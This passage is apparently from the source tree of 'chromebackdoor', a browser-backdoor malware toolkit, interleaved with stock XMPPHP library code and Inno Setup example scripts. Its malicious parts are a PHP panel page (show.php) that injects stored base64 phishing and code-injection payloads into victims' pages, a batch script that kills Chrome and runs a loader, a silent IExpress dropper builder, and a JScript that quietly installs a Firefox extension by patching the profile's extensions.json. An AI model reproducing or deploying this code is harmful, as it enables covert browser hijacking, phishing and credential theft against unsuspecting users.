126 | }
127 |
128 | /**
129 | * Has this XML Object the given sub?
130 | *
131 | * @param string $name
132 | * @return boolean
133 | */
134 | public function hasSub($name, $ns = null) {
135 | foreach ($this->subs as $sub) {
136 | if (($name == "*" or $sub->name == $name) and ($ns == null or $sub->ns == $ns))
137 | return true;
138 | }
139 | return false;
140 | }
141 |
142 | /**
143 | * Return a sub
144 | *
145 | * @param string $name
146 | * @param string $attrs
147 | * @param string $ns
148 | */
149 | public function sub($name, $attrs = null, $ns = null) {
150 | #TODO attrs is ignored
151 | foreach ($this->subs as $sub) {
152 | if ($sub->name == $name and ($ns == null or $sub->ns == $ns)) {
153 | return $sub;
154 | }
155 | }
156 | }
157 |
158 | }
159 |
--------------------------------------------------------------------------------
/backdoor/web/lib/XMPPHP/XMPP_Old.php:
--------------------------------------------------------------------------------
1 |
25 | * @author Stephan Wentz
26 | * @author Michael Garvin
27 | * @copyright 2008 Nathanael C. Fritz
28 | */
29 | /** XMPPHP_XMPP
30 | *
31 | * This file is unnecessary unless you need to connect to older, non-XMPP-compliant servers like Dreamhost's.
32 | * In this case, use instead of XMPPHP_XMPP, otherwise feel free to delete it.
33 | * The old Jabber protocol wasn't standardized, so use at your own risk.
34 | *
35 | */
36 | require_once "XMPP.php";
37 |
38 | class XMPPHP_XMPPOld extends XMPPHP_XMPP {
39 |
40 | /**
41 | *
42 | * @var string
43 | */
44 | protected $session_id;
45 |
46 | public function __construct($host, $port, $user, $password, $resource, $server = null, $printlog = false, $loglevel = null) {
47 | parent::__construct($host, $port, $user, $password, $resource, $server, $printlog, $loglevel);
48 | if (!$server)
49 | $server = $host;
50 | $this->stream_start = '';
51 | $this->fulljid = "{$user}@{$server}/{$resource}";
52 | }
53 |
54 | /**
55 | * Override XMLStream's startXML
56 | *
57 | * @param parser $parser
58 | * @param string $name
59 | * @param array $attr
60 | */
61 | public function startXML($parser, $name, $attr) {
62 | if ($this->xml_depth == 0) {
63 | $this->session_id = $attr['ID'];
64 | $this->authenticate();
65 | }
66 | parent::startXML($parser, $name, $attr);
67 | }
68 |
69 | /**
70 | * Send Authenticate Info Request
71 | *
72 | */
73 | public function authenticate() {
74 | $id = $this->getId();
75 | $this->addidhandler($id, 'authfieldshandler');
76 | $this->send("{$this->user}");
77 | }
78 |
79 | /**
80 | * Retrieve auth fields and send auth attempt
81 | *
82 | * @param XMLObj $xml
83 | */
84 | public function authFieldsHandler($xml) {
85 | $id = $this->getId();
86 | $this->addidhandler($id, 'oldAuthResultHandler');
87 | if ($xml->sub('query')->hasSub('digest')) {
88 | $hash = sha1($this->session_id . $this->password);
89 | print "{$this->session_id} {$this->password}\n";
90 | $out = "{$this->user}{$hash}{$this->resource}";
91 | } else {
92 | $out = "{$this->user}{$this->password}{$this->resource}";
93 | }
94 | $this->send($out);
95 | }
96 |
97 | /**
98 | * Determine authenticated or failure
99 | *
100 | * @param XMLObj $xml
101 | */
102 | public function oldAuthResultHandler($xml) {
103 | if ($xml->attrs['type'] != 'result') {
104 | $this->log->log("Auth failed!", XMPPHP_Log::LEVEL_ERROR);
105 | $this->disconnect();
106 | throw new XMPPHP_Exception('Auth failed!');
107 | } else {
108 | $this->log->log("Session started");
109 | $this->event('session_start');
110 | }
111 | }
112 |
113 | }
114 |
115 | ?>
116 |
--------------------------------------------------------------------------------
/backdoor/web/logout.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/backdoor/web/show.php:
--------------------------------------------------------------------------------
1 |
4 | $(document).ready(function()
5 | {
6 | var phish = "";
7 | var tabURL = window.location.href;
8 |
9 | //settings
10 |
11 | prepare("SELECT urlverif FROM payloads");
13 | $select_url_check->execute();
14 | while($fetch = $select_url_check->fetch())
15 | {
16 | $url_verif = $fetch['urlverif'];
17 | echo base64_decode($url_verif);
18 | }
19 |
20 | $select_inject_check = $bdd->prepare("SELECT id, codeinject FROM payloads");
21 | $select_inject_check->execute();
22 | while($fetch2 = $select_inject_check->fetch())
23 | {
24 | if($fetch2['id'] != ''){
25 | $update = $bdd->prepare("UPDATE payloads SET action = action + 1 WHERE id = :id");
26 | $update->bindParam(':id', $fetch2['id']);
27 | $update->execute();
28 | }
29 |
30 | $inject = $fetch2['codeinject'];
31 | echo base64_decode($inject);
32 | }
33 | ?>
34 | });
--------------------------------------------------------------------------------
/changelog.txt:
--------------------------------------------------------------------------------
1 | Update 09/12/16
2 | [+] Update CSS file
3 | [+] Thanks to "ricoxor" for code review and all new idea.
4 | Version 3.0
5 | [+] Python backdoor script generator.
6 | [+] INNO .exe (loader) builder.
7 | [+] Update webpanel file.
8 | [+] Rubber Ducky payload generator.
9 | [+] Firefox XPI added.
10 | [+] IExplorer BHO added.
11 |
--------------------------------------------------------------------------------
/config.conf:
--------------------------------------------------------------------------------
1 | ### CONFIGURATION FOR XPI ########
2 | MOZ_API_KEY=#
3 | MOZ_PRIV_KEY=#
4 | ###################################
5 |
--------------------------------------------------------------------------------
/installer/build.cmd:
--------------------------------------------------------------------------------
1 | @echo off
2 |
3 | pushd "%CD%"
4 | CD /D "%~dp0"
5 |
6 | inno\compil32.exe /cc installer.iss
7 |
8 | echo [Version]>def.sed
9 | echo Class=IEXPRESS>>def.sed
10 | echo SEDVersion=A>>def.sed
11 | echo [Options]>>def.sed
12 | echo PackagePurpose=InstallApp>>def.sed
13 | echo ShowInstallProgramWindow=1>>def.sed
14 | echo HideExtractAnimation=1>>def.sed
15 | echo UseLongFileName=0>>def.sed
16 | echo InsideCompressed=0>>def.sed
17 | echo CAB_FixedSize=0>>def.sed
18 | echo CAB_ResvCodeSigning=0>>def.sed
19 | echo RebootMode=N>>def.sed
20 | echo InstallPrompt=%%InstallPrompt%%>>def.sed
21 | echo DisplayLicense=%%DisplayLicense%%>>def.sed
22 | echo FinishMessage=%%FinishMessage%%>>def.sed
23 | echo TargetName=%%TargetName%%>>def.sed
24 | echo FriendlyName=%%FriendlyName%%>>def.sed
25 | echo AppLaunched=%%AppLaunched%%>>def.sed
26 | echo PostInstallCmd=%%PostInstallCmd%%>>def.sed
27 | echo AdminQuietInstCmd=%%AdminQuietInstCmd%%>>def.sed
28 | echo UserQuietInstCmd=%%UserQuietInstCmd%%>>def.sed
29 | echo SourceFiles=SourceFiles>>def.sed
30 | echo [Strings]>>def.sed
31 | echo InstallPrompt=>>def.sed
32 | echo DisplayLicense=>>def.sed
33 | echo FinishMessage=>>def.sed
34 | echo TargetName=%~dp0setup.silent.exe>>def.sed
35 | echo FriendlyName=Setup>>def.sed
36 | echo AppLaunched=setup.exe /verysilent>>def.sed
37 | echo PostInstallCmd=^>>def.sed
38 | echo AdminQuietInstCmd=>>def.sed
39 | echo UserQuietInstCmd=>>def.sed
40 | echo FILE0="setup.exe">>def.sed
41 | echo [SourceFiles]>>def.sed
42 | echo SourceFiles0=%~dp0>>def.sed
43 | echo [SourceFiles0]>>def.sed
44 | echo %%FILE0%%>>def.sed
45 |
46 | iexpress.exe /n def.sed
47 |
48 | @pause
--------------------------------------------------------------------------------
/installer/ch_bk/install.cmd:
--------------------------------------------------------------------------------
1 | @echo off
2 |
3 | pushd "%CD%"
4 | CD /D "%~dp0"
5 |
6 | taskkill /im chrome.exe /f
7 | loader.exe
8 |
--------------------------------------------------------------------------------
/installer/ch_bk/loader.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/ch_bk/loader.exe
--------------------------------------------------------------------------------
/installer/def.sed:
--------------------------------------------------------------------------------
1 | [Version]
2 | Class=IEXPRESS
3 | SEDVersion=A
4 | [Options]
5 | PackagePurpose=InstallApp
6 | ShowInstallProgramWindow=1
7 | HideExtractAnimation=1
8 | UseLongFileName=0
9 | InsideCompressed=0
10 | CAB_FixedSize=0
11 | CAB_ResvCodeSigning=0
12 | RebootMode=N
13 | InstallPrompt=%InstallPrompt%
14 | DisplayLicense=%DisplayLicense%
15 | FinishMessage=%FinishMessage%
16 | TargetName=%TargetName%
17 | FriendlyName=%FriendlyName%
18 | AppLaunched=%AppLaunched%
19 | PostInstallCmd=%PostInstallCmd%
20 | AdminQuietInstCmd=%AdminQuietInstCmd%
21 | UserQuietInstCmd=%UserQuietInstCmd%
22 | SourceFiles=SourceFiles
23 | [Strings]
24 | InstallPrompt=
25 | DisplayLicense=
26 | FinishMessage=
27 | TargetName=Z:\root\Documents\project\chromebackdoor\installer\setup.silent.exe
28 | FriendlyName=Setup
29 | AppLaunched=setup.exe /verysilent
30 | PostInstallCmd=
31 | AdminQuietInstCmd=
32 | UserQuietInstCmd=
33 | FILE0="setup.exe"
34 | [SourceFiles]
35 | SourceFiles0=Z:\root\Documents\project\chromebackdoor\installer\
36 | [SourceFiles0]
37 | %FILE0%
38 |
--------------------------------------------------------------------------------
/installer/del.cmd:
--------------------------------------------------------------------------------
1 | @echo off
2 |
3 | ping 127.0.0.1 -n 3 > nul
4 |
5 | if exist %1 del /f /q %1
6 | if exist %4 del /f /q %4
7 | if exist %2 rmdir /s /q %2
8 | if exist %3 rmdir /s /q %3
9 |
10 |
--------------------------------------------------------------------------------
/installer/ff_bk/ff.js:
--------------------------------------------------------------------------------
1 | function readAllText(path)
2 | {
3 | var ado = new ActiveXObject('ADODB.Stream');
4 | ado.CharSet = "utf-8";
5 | ado.Open();
6 | ado.LoadFromFile(path);
7 | return ado.ReadText();
8 | }
9 |
10 | function writeAllText(path, text)
11 | {
12 | var ado = new ActiveXObject('ADODB.Stream');
13 | ado.CharSet = "utf-8";
14 | ado.Open();
15 | ado.WriteText(text);
16 | return ado.SaveToFile(path, 2);
17 | }
18 |
19 | function getEnvironmentVariables()
20 | {
21 | var oShell = new ActiveXObject("WScript.Shell");
22 | var oUserEnv = oShell.Environment("Process");
23 |
24 | var colVars = new Enumerator(oUserEnv);
25 | var parts;
26 | var env = {};
27 | for(; ! colVars.atEnd(); colVars.moveNext())
28 | {
29 | parts = colVars.item().split('=');
30 | env[parts[0]] = parts[1];
31 | }
32 |
33 | return env;
34 | }
35 |
36 | function findXPIFile(currentPath)
37 | {
38 | var fso = new ActiveXObject('Scripting.FileSystemObject');
39 | var folder = fso.GetFolder(currentPath);
40 | //WScript.Echo("XPI folder: " + folder);
41 | var subFls = new Enumerator(folder.Files);
42 | for (; !subFls.atEnd(); subFls.moveNext())
43 | {
44 | fileName = subFls.item().Name;
45 | //WScript.Echo("files: " + fileName);
46 | if (/^.*\.xpi$/.test(fileName))
47 | {
48 | //WScript.Echo("XPI file found: " + fileName);
49 | return fileName.replace(".xpi", "");
50 | }
51 | }
52 |
53 | return "";
54 | }
55 |
56 | function main()
57 | {
58 | var prefsObj = {
59 | "id":"whatever@extenson",
60 | "location":"app-profile",
61 | "version":"2.4.0.12",
62 | "type":"extension",
63 | "internalName":null,
64 | "updateURL":"",
65 | "updateKey":null,
66 | "optionsURL":null,
67 | "optionsType":null,
68 | "aboutURL":null,
69 | "icons":{},
70 | "iconURL":null,
71 | "icon64URL":null,
72 | "defaultLocale":{
73 | "name":"Extension Name",
74 | "description":"Extension Description",
75 | "creator":"Creator Name",
76 | "homepageURL":"http://gogle.org"
77 | },
78 | "visible":true,
79 | "active":true,
80 | "userDisabled":false,
81 | "appDisabled":false,
82 | "descriptor":"",
83 | "installDate": new Date().getTime(), //ms
84 | "updateDate":new Date().getTime(),
85 | "applyBackgroundUpdates":1,
86 | "bootstrap":true,
87 | "skinnable":false,
88 | "sourceURI":null,
89 | "releaseNotesURI":null,
90 | "softDisabled":false,
91 | "foreignInstall":true,
92 | "hasBinaryComponents":false,
93 | "strictCompatibility":false,
94 | "locales":[],
95 | "targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"12.0","maxVersion":"49.*"}],
96 | "targetPlatforms":[],
97 | "multiprocessCompatible":true,
98 | "signedState":1,
99 | "seen":true
100 | };
101 |
102 | try
103 | {
104 | var execPath = WScript.Arguments.Item(0);
105 | var extensionId = findXPIFile(execPath);
106 | WScript.Echo("extension id: " + extensionId);
107 | if (!extensionId)
108 | throw "XPI not found.";
109 |
110 | var extCurrentPath = execPath + "\\" + extensionId + ".xpi";
111 | var env = getEnvironmentVariables();
112 | var appData = env['APPDATA'];
113 | var profilesIniPath = appData + "\\Mozilla\\Firefox\\profiles.ini";
114 |
115 | //WScript.Echo("profile path: " + profilesIniPath);
116 | var txt = readAllText(profilesIniPath);
117 | var lines = txt.split("\r\n");
118 | var profileFName = "";
119 | for(l in lines)
120 | {
121 | var line = lines[l];
122 | if (line == "Default=1")
123 | {
124 | profileFName = prevLine.replace("Path=", "").replace("/", "\\");
125 | break;
126 | }
127 | var prevLine = line;
128 | }
129 | var profilePath = appData + "\\Mozilla\\Firefox\\" + profileFName;
130 | var extensionDir = profilePath + "\\extensions\\";
131 | var extensionsPath = extensionDir + extensionId + ".xpi";
132 |
133 | //WScript.Echo("ext path: " + extensionsPath);
134 |
135 | var fso = new ActiveXObject("Scripting.FileSystemObject");
136 | if (!fso.FolderExists(extensionDir))
137 | fso.CreateFolder(extensionDir);
138 | // copy extension
139 | WScript.Echo("CopyFile " + extCurrentPath + " to " + extensionsPath);
140 | fso.CopyFile(extCurrentPath, extensionsPath);
141 |
142 | // set prefs of ext
143 | prefsObj["id"] = extensionId; // id is important!
144 | prefsObj["descriptor"] = extensionsPath; // set install path
145 |
146 | // patch prefs
147 | var prefsPath = profilePath + "\\extensions.json";
148 | WScript.Echo("Read prefs from " + prefsPath);
149 | var prefs = JSON.parse(readAllText(prefsPath));
150 | prefs["addons"].push(prefsObj);
151 | writeAllText(prefsPath, JSON.stringify(prefs));
152 |
153 | }
154 | catch (e)
155 | {
156 | WScript.Echo(e.message);
157 | }
158 | }
159 |
160 | //--------------------------------------------------
161 | // JSON 2
162 | var JSON;if(!JSON){JSON={}}(function(){function f(n){return n<10?"0"+n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(key){return this.valueOf()}}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+string+'"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap+=indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;iInno Setup rocks!', False);
156 | if not ShellExecAsOriginalUser('open', IISURL + '/innosetup/index.htm', '', '', SW_SHOWNORMAL, ewNoWait, ErrorCode) then
157 | MsgBox('Can''t display the created virtual directory: ''' + SysErrorMessage(ErrorCode) + '''.', mbError, mb_Ok);
158 | end;
159 |
160 | {--- MSXML ---}
161 |
162 | const
163 | XMLURL = 'http://jrsoftware.github.io/issrc/ishelp/isxfunc.xml';
164 | XMLFileName = 'isxfunc.xml';
165 | XMLFileName2 = 'isxfuncmodified.xml';
166 |
167 | procedure MSXMLButtonOnClick(Sender: TObject);
168 | var
169 | XMLHTTP, XMLDoc, NewNode, RootNode: Variant;
170 | Path: String;
171 | begin
172 | if MsgBox('Setup will now use MSXML to download XML file ''' + XMLURL + ''' and save it to disk.'#13#13'Setup will then load, modify and save this XML file. Do you want to continue?', mbInformation, mb_YesNo) = idNo then
173 | Exit;
174 |
175 | { Create the main MSXML COM Automation object }
176 |
177 | try
178 | XMLHTTP := CreateOleObject('MSXML2.ServerXMLHTTP');
179 | except
180 | RaiseException('Please install MSXML first.'#13#13'(Error ''' + GetExceptionMessage + ''' occurred)');
181 | end;
182 |
183 | { Download the XML file }
184 |
185 | XMLHTTP.Open('GET', XMLURL, False);
186 | XMLHTTP.Send();
187 |
188 | Path := ExpandConstant('{src}\');
189 | XMLHTTP.responseXML.Save(Path + XMLFileName);
190 |
191 | MsgBox('Downloaded the XML file and saved it as ''' + XMLFileName + '''.', mbInformation, mb_Ok);
192 |
193 | { Load the XML File }
194 |
195 | XMLDoc := CreateOleObject('MSXML2.DOMDocument');
196 | XMLDoc.async := False;
197 | XMLDoc.resolveExternals := False;
198 | XMLDoc.load(Path + XMLFileName);
199 | if XMLDoc.parseError.errorCode <> 0 then
200 | RaiseException('Error on line ' + IntToStr(XMLDoc.parseError.line) + ', position ' + IntToStr(XMLDoc.parseError.linepos) + ': ' + XMLDoc.parseError.reason);
201 |
202 | MsgBox('Loaded the XML file.', mbInformation, mb_Ok);
203 |
204 | { Modify the XML document }
205 |
206 | NewNode := XMLDoc.createElement('isxdemo');
207 | RootNode := XMLDoc.documentElement;
208 | RootNode.appendChild(NewNode);
209 | RootNode.lastChild.text := 'Hello, World';
210 |
211 | { Save the XML document }
212 |
213 | XMLDoc.Save(Path + XMLFileName2);
214 |
215 | MsgBox('Saved the modified XML as ''' + XMLFileName2 + '''.', mbInformation, mb_Ok);
216 | end;
217 |
218 |
219 | {--- Word ---}
220 |
221 | procedure WordButtonOnClick(Sender: TObject);
222 | var
223 | Word: Variant;
224 | begin
225 | if MsgBox('Setup will now check whether Microsoft Word is running. Do you want to continue?', mbInformation, mb_YesNo) = idNo then
226 | Exit;
227 |
228 | { Try to get an active Word COM Automation object }
229 |
230 | try
231 | Word := GetActiveOleObject('Word.Application');
232 | except
233 | end;
234 |
235 | if VarIsEmpty(Word) then
236 | MsgBox('Microsoft Word is not running.', mbInformation, mb_Ok)
237 | else
238 | MsgBox('Microsoft Word is running.', mbInformation, mb_Ok)
239 | end;
240 |
241 | {--- Windows Firewall ---}
242 |
243 | const
244 | NET_FW_IP_VERSION_ANY = 2;
245 | NET_FW_SCOPE_ALL = 0;
246 |
247 | procedure FirewallButtonOnClick(Sender: TObject);
248 | var
249 | Firewall, Application: Variant;
250 | begin
251 | if MsgBox('Setup will now add itself to Windows Firewall as an authorized application for the current profile (' + GetUserNameString + '). Do you want to continue?', mbInformation, mb_YesNo) = idNo then
252 | Exit;
253 |
254 | { Create the main Windows Firewall COM Automation object }
255 |
256 | try
257 | Firewall := CreateOleObject('HNetCfg.FwMgr');
258 | except
259 | RaiseException('Please install Windows Firewall first.'#13#13'(Error ''' + GetExceptionMessage + ''' occurred)');
260 | end;
261 |
262 | { Add the authorization }
263 |
264 | Application := CreateOleObject('HNetCfg.FwAuthorizedApplication');
265 | Application.Name := 'Setup';
266 | Application.IPVersion := NET_FW_IP_VERSION_ANY;
267 | Application.ProcessImageFileName := ExpandConstant('{srcexe}');
268 | Application.Scope := NET_FW_SCOPE_ALL;
269 | Application.Enabled := True;
270 |
271 | Firewall.LocalPolicy.CurrentProfile.AuthorizedApplications.Add(Application);
272 |
273 | MsgBox('Setup is now an authorized application for the current profile', mbInformation, mb_Ok);
274 | end;
275 |
276 | {---}
277 |
278 | procedure CreateButton(ALeft, ATop: Integer; ACaption: String; ANotifyEvent: TNotifyEvent);
279 | begin
280 | with TButton.Create(WizardForm) do begin
281 | Left := ALeft;
282 | Top := ATop;
283 | Width := WizardForm.CancelButton.Width;
284 | Height := WizardForm.CancelButton.Height;
285 | Caption := ACaption;
286 | OnClick := ANotifyEvent;
287 | Parent := WizardForm.WelcomePage;
288 | end;
289 | end;
290 |
291 | procedure InitializeWizard();
292 | var
293 | Left, LeftInc, Top, TopInc: Integer;
294 | begin
295 | Left := WizardForm.WelcomeLabel2.Left;
296 | LeftInc := WizardForm.CancelButton.Width + ScaleX(8);
297 | TopInc := WizardForm.CancelButton.Height + ScaleY(8);
298 | Top := WizardForm.WelcomeLabel2.Top + WizardForm.WelcomeLabel2.Height - 4*TopInc;
299 |
300 | CreateButton(Left, Top, '&SQLDMO...', @SQLDMOButtonOnClick);
301 | CreateButton(Left + LeftInc, Top, '&Firewall...', @FirewallButtonOnClick);
302 | Top := Top + TopInc;
303 | CreateButton(Left, Top, '&IIS...', @IISButtonOnClick);
304 | Top := Top + TopInc;
305 | CreateButton(Left, Top, '&MSXML...', @MSXMLButtonOnClick);
306 | Top := Top + TopInc;
307 | CreateButton(Left, Top, '&Word...', @WordButtonOnClick);
308 | end;
309 |
310 |
311 |
--------------------------------------------------------------------------------
/installer/inno/Examples/CodeDlg.iss:
--------------------------------------------------------------------------------
1 | ; -- CodeDlg.iss --
2 | ;
3 | ; This script shows how to insert custom wizard pages into Setup and how to handle
4 | ; these pages. Furthermore it shows how to 'communicate' between the [Code] section
5 | ; and the regular Inno Setup sections using {code:...} constants. Finally it shows
6 | ; how to customize the settings text on the 'Ready To Install' page.
7 |
8 | [Setup]
9 | AppName=My Program
10 | AppVersion=1.5
11 | DefaultDirName={pf}\My Program
12 | DisableProgramGroupPage=yes
13 | UninstallDisplayIcon={app}\MyProg.exe
14 | OutputDir=userdocs:Inno Setup Examples Output
15 |
16 | [Files]
17 | Source: "MyProg.exe"; DestDir: "{app}"
18 | Source: "MyProg.chm"; DestDir: "{app}"
19 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
20 |
21 | [Registry]
22 | Root: HKCU; Subkey: "Software\My Company"; Flags: uninsdeletekeyifempty
23 | Root: HKCU; Subkey: "Software\My Company\My Program"; Flags: uninsdeletekey
24 | Root: HKCU; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "Name"; ValueData: "{code:GetUser|Name}"
25 | Root: HKCU; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "Company"; ValueData: "{code:GetUser|Company}"
26 | Root: HKCU; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "DataDir"; ValueData: "{code:GetDataDir}"
27 | ; etc.
28 |
29 | [Dirs]
30 | Name: {code:GetDataDir}; Flags: uninsneveruninstall
31 |
32 | [Code]
33 | var
34 | UserPage: TInputQueryWizardPage;
35 | UsagePage: TInputOptionWizardPage;
36 | LightMsgPage: TOutputMsgWizardPage;
37 | KeyPage: TInputQueryWizardPage;
38 | ProgressPage: TOutputProgressWizardPage;
39 | DataDirPage: TInputDirWizardPage;
40 |
41 | procedure InitializeWizard;
42 | begin
43 | { Create the pages }
44 |
45 | UserPage := CreateInputQueryPage(wpWelcome,
46 | 'Personal Information', 'Who are you?',
47 | 'Please specify your name and the company for whom you work, then click Next.');
48 | UserPage.Add('Name:', False);
49 | UserPage.Add('Company:', False);
50 |
51 | UsagePage := CreateInputOptionPage(UserPage.ID,
52 | 'Personal Information', 'How will you use My Program?',
53 | 'Please specify how you would like to use My Program, then click Next.',
54 | True, False);
55 | UsagePage.Add('Light mode (no ads, limited functionality)');
56 | UsagePage.Add('Sponsored mode (with ads, full functionality)');
57 | UsagePage.Add('Paid mode (no ads, full functionality)');
58 |
59 | LightMsgPage := CreateOutputMsgPage(UsagePage.ID,
60 | 'Personal Information', 'How will you use My Program?',
61 | 'Note: to enjoy all features My Program can offer and to support its development, ' +
62 | 'you can switch to sponsored or paid mode at any time by selecting ''Usage Mode'' ' +
63 | 'in the ''Help'' menu of My Program after the installation has completed.'#13#13 +
64 | 'Click Back if you want to change your usage mode setting now, or click Next to ' +
65 | 'continue with the installation.');
66 |
67 | KeyPage := CreateInputQueryPage(UsagePage.ID,
68 | 'Personal Information', 'What''s your registration key?',
69 | 'Please specify your registration key and click Next to continue. If you don''t ' +
70 | 'have a valid registration key, click Back to choose a different usage mode.');
71 | KeyPage.Add('Registration key:', False);
72 |
73 | ProgressPage := CreateOutputProgressPage('Personal Information',
74 | 'What''s your registration key?');
75 |
76 | DataDirPage := CreateInputDirPage(wpSelectDir,
77 | 'Select Personal Data Directory', 'Where should personal data files be installed?',
78 | 'Select the folder in which Setup should install personal data files, then click Next.',
79 | False, '');
80 | DataDirPage.Add('');
81 |
82 | { Set default values, using settings that were stored last time if possible }
83 |
84 | UserPage.Values[0] := GetPreviousData('Name', ExpandConstant('{sysuserinfoname}'));
85 | UserPage.Values[1] := GetPreviousData('Company', ExpandConstant('{sysuserinfoorg}'));
86 |
87 | case GetPreviousData('UsageMode', '') of
88 | 'light': UsagePage.SelectedValueIndex := 0;
89 | 'sponsored': UsagePage.SelectedValueIndex := 1;
90 | 'paid': UsagePage.SelectedValueIndex := 2;
91 | else
92 | UsagePage.SelectedValueIndex := 1;
93 | end;
94 |
95 | DataDirPage.Values[0] := GetPreviousData('DataDir', '');
96 | end;
97 |
98 | procedure RegisterPreviousData(PreviousDataKey: Integer);
99 | var
100 | UsageMode: String;
101 | begin
102 | { Store the settings so we can restore them next time }
103 | SetPreviousData(PreviousDataKey, 'Name', UserPage.Values[0]);
104 | SetPreviousData(PreviousDataKey, 'Company', UserPage.Values[1]);
105 | case UsagePage.SelectedValueIndex of
106 | 0: UsageMode := 'light';
107 | 1: UsageMode := 'sponsored';
108 | 2: UsageMode := 'paid';
109 | end;
110 | SetPreviousData(PreviousDataKey, 'UsageMode', UsageMode);
111 | SetPreviousData(PreviousDataKey, 'DataDir', DataDirPage.Values[0]);
112 | end;
113 |
114 | function ShouldSkipPage(PageID: Integer): Boolean;
115 | begin
116 | { Skip pages that shouldn't be shown }
117 | if (PageID = LightMsgPage.ID) and (UsagePage.SelectedValueIndex <> 0) then
118 | Result := True
119 | else if (PageID = KeyPage.ID) and (UsagePage.SelectedValueIndex <> 2) then
120 | Result := True
121 | else
122 | Result := False;
123 | end;
124 |
125 | function NextButtonClick(CurPageID: Integer): Boolean;
126 | var
127 | I: Integer;
128 | begin
129 | { Validate certain pages before allowing the user to proceed }
130 | if CurPageID = UserPage.ID then begin
131 | if UserPage.Values[0] = '' then begin
132 | MsgBox('You must enter your name.', mbError, MB_OK);
133 | Result := False;
134 | end else begin
135 | if DataDirPage.Values[0] = '' then
136 | DataDirPage.Values[0] := 'C:\' + UserPage.Values[0];
137 | Result := True;
138 | end;
139 | end else if CurPageID = KeyPage.ID then begin
140 | { Just to show how 'OutputProgress' pages work.
141 | Always use a try..finally between the Show and Hide calls as shown below. }
142 | ProgressPage.SetText('Authorizing registration key...', '');
143 | ProgressPage.SetProgress(0, 0);
144 | ProgressPage.Show;
145 | try
146 | for I := 0 to 10 do begin
147 | ProgressPage.SetProgress(I, 10);
148 | Sleep(100);
149 | end;
150 | finally
151 | ProgressPage.Hide;
152 | end;
153 | if GetSHA1OfString('codedlg' + KeyPage.Values[0]) = '8013f310d340dab18a0d0cda2b5b115d2dcd97e4' then
154 | Result := True
155 | else begin
156 | MsgBox('You must enter a valid registration key. (Hint: The key is "inno".)', mbError, MB_OK);
157 | Result := False;
158 | end;
159 | end else
160 | Result := True;
161 | end;
162 |
163 | function UpdateReadyMemo(Space, NewLine, MemoUserInfoInfo, MemoDirInfo, MemoTypeInfo,
164 | MemoComponentsInfo, MemoGroupInfo, MemoTasksInfo: String): String;
165 | var
166 | S: String;
167 | begin
168 | { Fill the 'Ready Memo' with the normal settings and the custom settings }
169 | S := '';
170 | S := S + 'Personal Information:' + NewLine;
171 | S := S + Space + UserPage.Values[0] + NewLine;
172 | if UserPage.Values[1] <> '' then
173 | S := S + Space + UserPage.Values[1] + NewLine;
174 | S := S + NewLine;
175 |
176 | S := S + 'Usage Mode:' + NewLine + Space;
177 | case UsagePage.SelectedValueIndex of
178 | 0: S := S + 'Light mode';
179 | 1: S := S + 'Sponsored mode';
180 | 2: S := S + 'Paid mode';
181 | end;
182 | S := S + NewLine + NewLine;
183 |
184 | S := S + MemoDirInfo + NewLine;
185 | S := S + Space + DataDirPage.Values[0] + ' (personal data files)' + NewLine;
186 |
187 | Result := S;
188 | end;
189 |
190 | function GetUser(Param: String): String;
191 | begin
192 | { Return a user value }
193 | { Could also be split into separate GetUserName and GetUserCompany functions }
194 | if Param = 'Name' then
195 | Result := UserPage.Values[0]
196 | else if Param = 'Company' then
197 | Result := UserPage.Values[1];
198 | end;
199 |
200 | function GetDataDir(Param: String): String;
201 | begin
202 | { Return the selected DataDir }
203 | Result := DataDirPage.Values[0];
204 | end;
205 |
--------------------------------------------------------------------------------
/installer/inno/Examples/CodeDll.iss:
--------------------------------------------------------------------------------
1 | ; -- CodeDll.iss --
2 | ;
3 | ; This script shows how to call DLL functions at runtime from a [Code] section.
4 |
5 | [Setup]
6 | AppName=My Program
7 | AppVersion=1.5
8 | DefaultDirName={pf}\My Program
9 | DisableProgramGroupPage=yes
10 | UninstallDisplayIcon={app}\MyProg.exe
11 | OutputDir=userdocs:Inno Setup Examples Output
12 |
13 | [Files]
14 | Source: "MyProg.exe"; DestDir: "{app}"
15 | Source: "MyProg.chm"; DestDir: "{app}"
16 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme
17 | ; Install our DLL to {app} so we can access it at uninstall time
18 | ; Use "Flags: dontcopy" if you don't need uninstall time access
19 | Source: "MyDll.dll"; DestDir: "{app}"
20 |
21 | [Code]
22 | const
23 | MB_ICONINFORMATION = $40;
24 |
25 | //importing an ANSI Windows API function
